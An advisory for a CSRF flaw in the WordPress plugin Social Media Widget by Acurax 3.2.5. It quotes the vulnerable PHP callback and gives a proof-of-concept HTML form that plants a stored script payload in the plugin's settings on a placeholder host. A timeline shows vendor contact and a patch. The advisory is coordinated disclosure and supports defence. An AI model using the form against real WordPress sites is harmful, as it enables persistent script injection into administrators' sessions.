WordPress Plugin Social Media Widget by Acurax 3.2.5 – Cross-Site Request Forgery
* Exploit Title: Social Media Widget by Acurax [CSRF] * Discovery Date: 2017-12-12 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: http://www.acurax.com/ * Software Link: https://wordpress.org/plugins/acurax-social-media-widget * Version: 3.2.5 * Tested on: WordPress 4.9.1 * Category: WebApps, WordPress Description ----------- Plugin implements AJAX action `acx_asmw_saveorder` which calls back the function `acx_asmw_saveorder_callback`. The later does not implement any anti-CSRF controls thus allowing a malicious actor to perform an attack that could update plugin specific option `social_widget_icon_array_order`. Vulnerable param is `$_POST['recordsArray']` and it is saved as an option with the name `social_widget_icon_array_order`. Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will be served when a user with the right privileges visits plugin's settings page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`). Vulnerable code is located in file `acurax-social-media-widget/function.php` line 993: ``` function acx_asmw_saveorder_callback() { global $wpdb; $social_widget_icon_array_order = $_POST['recordsArray']; if ( current_user_can( 'manage_options' ) ) { $social_widget_icon_array_order = serialize( $social_widget_icon_array_order ); update_option( 'social_widget_icon_array_order', $social_widget_icon_array_order ); echo "<div id='acurax_notice' align='center' style='width: 420px; font-family: arial; font-weight: normal; font-size: 22px;'>"; echo "Social Media Icon's Order Saved"; echo "</div><br>"; } die(); // this is required to return a proper result } add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' ); ``` PoC --- In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent XSS attack. The payload is available in plugin's settings. ``` <pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="acx_asmw_saveorder"> <input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>"> <button type="submit" value="Submit">Submit</button> </form> ``` Timeline -------- 1. **2017-12-12**: Discovered 2. **2017-12-12**: Tried to contact plugin's vendor through the contact form on their website 3. **2017-12-12**: Vendor replied 4. **2017-12-12**: Vendor Received Details 5. **2018-01-02**: Patch released |